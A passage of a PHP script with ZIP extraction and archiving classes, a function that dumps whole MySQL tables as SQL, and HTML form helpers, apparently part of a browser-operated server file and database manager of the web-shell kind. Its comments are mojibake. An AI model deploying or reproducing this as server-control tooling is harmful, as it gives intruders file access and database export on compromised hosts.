2170 $data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);
2171
2172 $header['filename'] = fread($zip, $data['filename_len']);
2173 IF($data['extra_len'] != 0){$header['extra'] = fread($zip, $data['extra_len']);}Else{$header['extra'] = '';}
2174
2175 $header['compression'] = $data['compression'];
2176 $header['size'] = $data['size'];
2177 $header['compressed_size'] = $data['compressed_size'];
2178 $header['crc'] = $data['crc'];
2179 $header['flag'] = $data['flag'];
2180 $header['mdate'] = $data['mdate'];
2181 $header['mtime'] = $data['mtime'];
2182
2183 IF($header['mdate'] && $header['mtime']){
2184 $hour = ($header['mtime']&0xF800) >> 11;
2185 $minute = ($header['mtime']&0x07E0) >> 5;
2186 $seconde = ($header['mtime']&0x001F) * 2;
2187 $year = (($header['mdate']&0xFE00) >> 9) + 1980;
2188 $month = ($header['mdate']&0x01E0) >> 5;
2189 $day = $header['mdate']&0x001F;
2190 $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
2191 }Else{
2192 $header['mtime'] = time();
2193 }
2194
2195 $header['stored_filename'] = $header['filename'];
2196 $header['status'] = "ok";
2197 Return $header;
2198 }
2199
2200 Function ReadCentralFileHeaders($zip){
2201 $binary_data = fread($zip, 46);
2202 $header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);
2203
2204 IF($header['filename_len'] != 0)
2205 $header['filename'] = fread($zip, $header['filename_len']);
2206 Else $header['filename'] = '';
2207
2208 IF($header['extra_len'] != 0)
2209 $header['extra'] = fread($zip, $header['extra_len']);
2210 Else $header['extra'] = '';
2211
2212 IF($header['comment_len'] != 0)
2213 $header['comment'] = fread($zip, $header['comment_len']);
2214 Else $header['comment'] = '';
2215
2216 IF($header['mdate'] && $header['mtime']){
2217 $hour = ($header['mtime'] &0xF800) >> 11;
2218 $minute = ($header['mtime'] &0x07E0) >> 5;
2219 $seconde = ($header['mtime'] &0x001F) * 2;
2220 $year = (($header['mdate'] &0xFE00) >> 9) + 1980;
2221 $month = ($header['mdate'] &0x01E0) >> 5;
2222 $day = $header['mdate'] &0x001F;
2223 $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
2224 }Else{
2225 $header['mtime'] = time();
2226 }
2227 $header['stored_filename'] = $header['filename'];
2228 $header['status'] = 'ok';
2229 IF(substr($header['filename'], -1) == '/')
2230 $header['external'] = 0x41FF0010;
2231 Return $header;
2232 }
2233
2234 Function ReadCentralDir($zip, $zip_name){
2235 $size = filesize($zip_name);
2236 IF($size < 277){$maximum_size = $size;}Else{$maximum_size = 277;}
2237
2238 @fseek($zip, $size - $maximum_size);
2239 $pos = ftell($zip);
2240 $bytes = 0x00000000;
2241
2242 While($pos < $size){
2243 $byte = @fread($zip, 1);
2244 $bytes = ($bytes << 8) | Ord($byte);
2245 IF($bytes == 0x504b0506){
2246 $pos++;
2247 break;
2248 }
2249 $pos++;
2250 }
2251
2252 $data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', fread($zip, 18));
2253
2254 IF($data['comment_size'] != 0){$centd['comment'] = fread($zip, $data['comment_size']);}Else{$centd['comment'] = '';}
2255 $centd['entries'] = $data['entries'];
2256 $centd['disk_entries'] = $data['disk_entries'];
2257 $centd['offset'] = $data['offset'];
2258 $centd['disk_start'] = $data['disk_start'];
2259 $centd['size'] = $data['size'];
2260 $centd['disk'] = $data['disk'];
2261 Return $centd;
2262 }
2263
2264 Function ExtractFile($header, $to, $zip){
2265 $header = $this -> readfileheader($zip);
2266
2267 IF(substr($to, -1) != "/") $to .= "/";
2268 IF(!@is_dir($to)) @mkdir($to, 0777);
2269
2270 $pth = explode("/", dirname($header['filename']));
2271 For($i = 0;isset($pth[$i]);$i++){
2272 IF(!$pth[$i]) continue;
2273 $pthss .= $pth[$i] . "/";
2274 IF(!is_dir($to . $pthss)) @mkdir($to . $pthss, 0777);
2275 }
2276 IF(!($header['external'] == 0x41FF0010) && !($header['external'] == 16)){
2277 IF($header['compression'] == 0){
2278 $fp = @fopen($to . $header['filename'], 'wb');
2279 IF(!$fp) Return(-1);
2280 $size = $header['compressed_size'];
2281
2282 While($size != 0){
2283 $read_size = ($size < 2048 ? $size : 2048);
2284 $buffer = fread($zip, $read_size);
2285 $binary_data = pack('a' . $read_size, $buffer);
2286 @fwrite($fp, $binary_data, $read_size);
2287 $size -= $read_size;
2288 }
2289 fclose($fp);
2290 touch($to . $header['filename'], $header['mtime']);
2291 }Else{
2292 $fp = @fopen($to . $header['filename'] . '.gz', 'wb');
2293 IF(!$fp) Return(-1);
2294 $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
2295 Chr(0x00), time(), Chr(0x00), Chr(3));
2296
2297 fwrite($fp, $binary_data, 10);
2298 $size = $header['compressed_size'];
2299
2300 While($size != 0){
2301 $read_size = ($size < 1024 ? $size : 1024);
2302 $buffer = fread($zip, $read_size);
2303 $binary_data = pack('a' . $read_size, $buffer);
2304 @fwrite($fp, $binary_data, $read_size);
2305 $size -= $read_size;
2306 }
2307
2308 $binary_data = pack('VV', $header['crc'], $header['size']);
2309 fwrite($fp, $binary_data, 8);
2310 fclose($fp);
2311
2312 $gzp = @gzopen($to . $header['filename'] . '.gz', 'rb') or die("Cette archive est compress锟絜");
2313 IF(!$gzp) Return(-2);
2314 $fp = @fopen($to . $header['filename'], 'wb');
2315 IF(!$fp) Return(-1);
2316 $size = $header['size'];
2317
2318 While($size != 0){
2319 $read_size = ($size < 2048 ? $size : 2048);
2320 $buffer = gzread($gzp, $read_size);
2321 $binary_data = pack('a' . $read_size, $buffer);
2322 @fwrite($fp, $binary_data, $read_size);
2323 $size -= $read_size;
2324 }
2325 fclose($fp);
2326 gzclose($gzp);
2327
2328 touch($to . $header['filename'], $header['mtime']);
2329 @unlink($to . $header['filename'] . '.gz');
2330 }
2331 }
2332 Return true;
2333 }
2334}
2335
2336// 压锟斤拷锟斤拷锟斤拷锟斤拷
2337class PHPZip{
2338 var $out='';
2339 function PHPZip($dir) {
2340 if (@function_exists('gzcompress')) {
2341 $curdir = getcwd();
2342 if (is_array($dir)) $filelist = $dir;
2343 else{
2344 $filelist=$this -> GetFileList($dir);//é”Ÿä¾¥ç¡·æ‹·é”Ÿå«æ†‹æ‹·
2345 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2346 }
2347 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2348 else chdir($curdir);
2349 if (count($filelist)>0){
2350 foreach($filelist as $filename){
2351 if (is_file($filename)){
2352 $fd = fopen ($filename, 'r');
2353 $content = @fread ($fd, filesize($filename));
2354 fclose ($fd);
2355 if (is_array($dir)) $filename = basename($filename);
2356 $this -> addFile($content, $filename);
2357 }
2358 }
2359 $this->out = $this -> file();
2360 chdir($curdir);
2361 }
2362 return 1;
2363 }
2364 else return 0;
2365 }
2366
2367 // é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·æŒ‡é”Ÿæ–¤æ‹·ç›®å½•é”Ÿä¾¥ç¡·æ‹·é”Ÿå«æ†‹æ‹·
2368 function GetFileList($dir){
2369 static $a;
2370 if (is_dir($dir)) {
2371 if ($dh = opendir($dir)) {
2372 while ($file = readdir($dh)) {
2373 if($file!='.' && $file!='..'){
2374 $f=$dir .'/'. $file;
2375 if(is_dir($f)) $this->GetFileList($f);
2376 $a[]=$f;
2377 }
2378 }
2379 closedir($dh);
2380 }
2381 }
2382 return $a;
2383 }
2384
2385 var $datasec = array();
2386 var $ctrl_dir = array();
2387 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2388 var $old_offset = 0;
2389
2390 function unix2DosTime($unixtime = 0) {
2391 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2392 if ($timearray['year'] < 1980) {
2393 $timearray['year'] = 1980;
2394 $timearray['mon'] = 1;
2395 $timearray['mday'] = 1;
2396 $timearray['hours'] = 0;
2397 $timearray['minutes'] = 0;
2398 $timearray['seconds'] = 0;
2399 } // end if
2400 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2401 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2402 }
2403
2404 function addFile($data, $name, $time = 0) {
2405 $name = str_replace('\\', '/', $name);
2406
2407 $dtime = dechex($this->unix2DosTime($time));
2408 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2409 . '\x' . $dtime[4] . $dtime[5]
2410 . '\x' . $dtime[2] . $dtime[3]
2411 . '\x' . $dtime[0] . $dtime[1];
2412 eval('$hexdtime = "' . $hexdtime . '";');
2413 $fr = "\x50\x4b\x03\x04";
2414 $fr .= "\x14\x00";
2415 $fr .= "\x00\x00";
2416 $fr .= "\x08\x00";
2417 $fr .= $hexdtime;
2418
2419 $unc_len = strlen($data);
2420 $crc = crc32($data);
2421 $zdata = gzcompress($data);
2422 $c_len = strlen($zdata);
2423 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2424 $fr .= pack('V', $crc);
2425 $fr .= pack('V', $c_len);
2426 $fr .= pack('V', $unc_len);
2427 $fr .= pack('v', strlen($name));
2428 $fr .= pack('v', 0);
2429 $fr .= $name;
2430 $fr .= $zdata;
2431 $fr .= pack('V', $crc);
2432 $fr .= pack('V', $c_len);
2433 $fr .= pack('V', $unc_len);
2434
2435 $this -> datasec[] = $fr;
2436 $new_offset = strlen(implode('', $this->datasec));
2437
2438 $cdrec = "\x50\x4b\x01\x02";
2439 $cdrec .= "\x00\x00";
2440 $cdrec .= "\x14\x00";
2441 $cdrec .= "\x00\x00";
2442 $cdrec .= "\x08\x00";
2443 $cdrec .= $hexdtime;
2444 $cdrec .= pack('V', $crc);
2445 $cdrec .= pack('V', $c_len);
2446 $cdrec .= pack('V', $unc_len);
2447 $cdrec .= pack('v', strlen($name) );
2448 $cdrec .= pack('v', 0 );
2449 $cdrec .= pack('v', 0 );
2450 $cdrec .= pack('v', 0 );
2451 $cdrec .= pack('v', 0 );
2452 $cdrec .= pack('V', 32 );
2453 $cdrec .= pack('V', $this -> old_offset );
2454 $this -> old_offset = $new_offset;
2455 $cdrec .= $name;
2456
2457 $this -> ctrl_dir[] = $cdrec;
2458 }
2459
2460 function file() {
2461 $data = implode('', $this -> datasec);
2462 $ctrldir = implode('', $this -> ctrl_dir);
2463 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2464 }
2465}
2466
2467// 锟斤拷锟斤拷锟斤拷锟æ·åŒ¡æ‹·
2468function sqldumptable($table, $fp=0) {
2469 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2470 $tabledump .= "CREATE TABLE $table (\n";
2471
2472 $firstfield=1;
2473
2474 $fields = q("SHOW FIELDS FROM $table");
2475 while ($field = mysql_fetch_array($fields)) {
2476 if (!$firstfield) {
2477 $tabledump .= ",\n";
2478 } else {
2479 $firstfield=0;
2480 }
2481 $tabledump .= " $field[Field] $field[Type]";
2482 if (!empty($field["Default"])) {
2483 $tabledump .= " DEFAULT '$field[Default]'";
2484 }
2485 if ($field['Null'] != "YES") {
2486 $tabledump .= " NOT NULL";
2487 }
2488 if ($field['Extra'] != "") {
2489 $tabledump .= " $field[Extra]";
2490 }
2491 }
2492 fr($fields);
2493
2494 $keys = q("SHOW KEYS FROM $table");
2495 while ($key = mysql_fetch_array($keys)) {
2496 $kname=$key['Key_name'];
2497 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2498 $kname="UNIQUE|$kname";
2499 }
2500 if(!is_array($index[$kname])) {
2501 $index[$kname] = array();
2502 }
2503 $index[$kname][] = $key['Column_name'];
2504 }
2505 fr($keys);
2506
2507 while(list($kname, $columns) = @each($index)) {
2508 $tabledump .= ",\n";
2509 $colnames=implode($columns,",");
2510
2511 if ($kname == "PRIMARY") {
2512 $tabledump .= " PRIMARY KEY ($colnames)";
2513 } else {
2514 if (substr($kname,0,6) == "UNIQUE") {
2515 $kname=substr($kname,7);
2516 }
2517 $tabledump .= " KEY $kname ($colnames)";
2518 }
2519 }
2520
2521 $tabledump .= "\n);\n\n";
2522 if ($fp) {
2523 fwrite($fp,$tabledump);
2524 } else {
2525 echo $tabledump;
2526 }
2527
2528 $rows = q("SELECT * FROM $table");
2529 $numfields = mysql_num_fields($rows);
2530 while ($row = mysql_fetch_array($rows)) {
2531 $tabledump = "INSERT INTO $table VALUES(";
2532
2533 $fieldcounter=-1;
2534 $firstfield=1;
2535 while (++$fieldcounter<$numfields) {
2536 if (!$firstfield) {
2537 $tabledump.=", ";
2538 } else {
2539 $firstfield=0;
2540 }
2541
2542 if (!isset($row[$fieldcounter])) {
2543 $tabledump .= "NULL";
2544 } else {
2545 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2546 }
2547 }
2548
2549 $tabledump .= ");\n";
2550
2551 if ($fp) {
2552 fwrite($fp,$tabledump);
2553 } else {
2554 echo $tabledump;
2555 }
2556 }
2557 fr($rows);
2558 if ($fp) {
2559 fwrite($fp,"\n");
2560 } else {
2561 echo "\n";
2562 }
2563}
2564
2565function ue($str){
2566 return urlencode($str);
2567}
2568
2569function p($str){
2570 echo $str."\n";
2571}
2572
2573function tbhead() {
2574 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2575}
2576function tbfoot(){
2577 p('</table>');
2578}
2579
2580function makehide($name,$value=''){
2581 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2582}
2583
2584function makeinput($arg = array()){
2585 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2586 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2587 !$arg['type'] && $arg['type'] = 'text';
2588 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2589 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2590
2591
2592 if ($arg['newline']) {
2593 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] $arg[checked] /></p>");
2594 } else {
2595 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] $arg[checked] />");
2596 }
2597}
2598
2599function makeselect($arg = array()){
2600 if ($arg['onchange']) {
2601 $onchange = 'onchange="'.$arg['onchange'].'"';
2602 }
2603 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2604 if ($arg['newline']) p('<p>');
2605 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2606 if (is_array($arg['option'])) {
2607 if ($arg['nokey']) {
2608 foreach ($arg['option'] as $value) {
2609 if ($arg['selected']==$value) {
2610 p("<option value=\"$value\" selected>$value</option>");
2611 } else {
2612 p("<option value=\"$value\">$value</option>");
2613 }
2614 }
2615 } else {
2616 foreach ($arg['option'] as $key=>$value) {
2617 if ($arg['selected']==$key) {
2618 p("<option value=\"$key\" selected>$value</option>");
2619 } else {
2620 p("<option value=\"$key\">$value</option>");
2621 }
2622 }
2623 }
2624 }
2625 p("</select>");
2626 if ($arg['newline']) p('</p>');
2627}
2628function formhead($arg = array()) {
2629 global $self;
2630 !$arg['method'] && $arg['method'] = 'post';
2631 !$arg['action'] && $arg['action'] = $self;
2632 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2633 !$arg['name'] && $arg['name'] = 'form1';
2634 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2635 if ($arg['title']) {
2636 p('<h2>'.$arg['title'].' »</h2>');
2637 }
2638}
2639
2640function maketext($arg = array()){
2641 !$arg['cols'] && $arg['cols'] = 100;
2642 !$arg['rows'] && $arg['rows'] = 25;
2643 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2644 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2645}
2646
2647function formfooter($name = ''){
2648 !$name && $name = 'submit';
2649 p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
2650 p('</form>');
2651}
2652
2653function goback(){
2654 global $self, $nowpath;
2655 p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
2656}
2657
2658function formfoot(){
2659 p('</form>');
2660}
2661
2662// 锟斤拷锟皆猴拷锟斤拷
2663function pr($a) {
2664 echo '<pre>';
2665 print_r($a);
2666 echo '</pre>';
2667}
2668</body>
2669</html>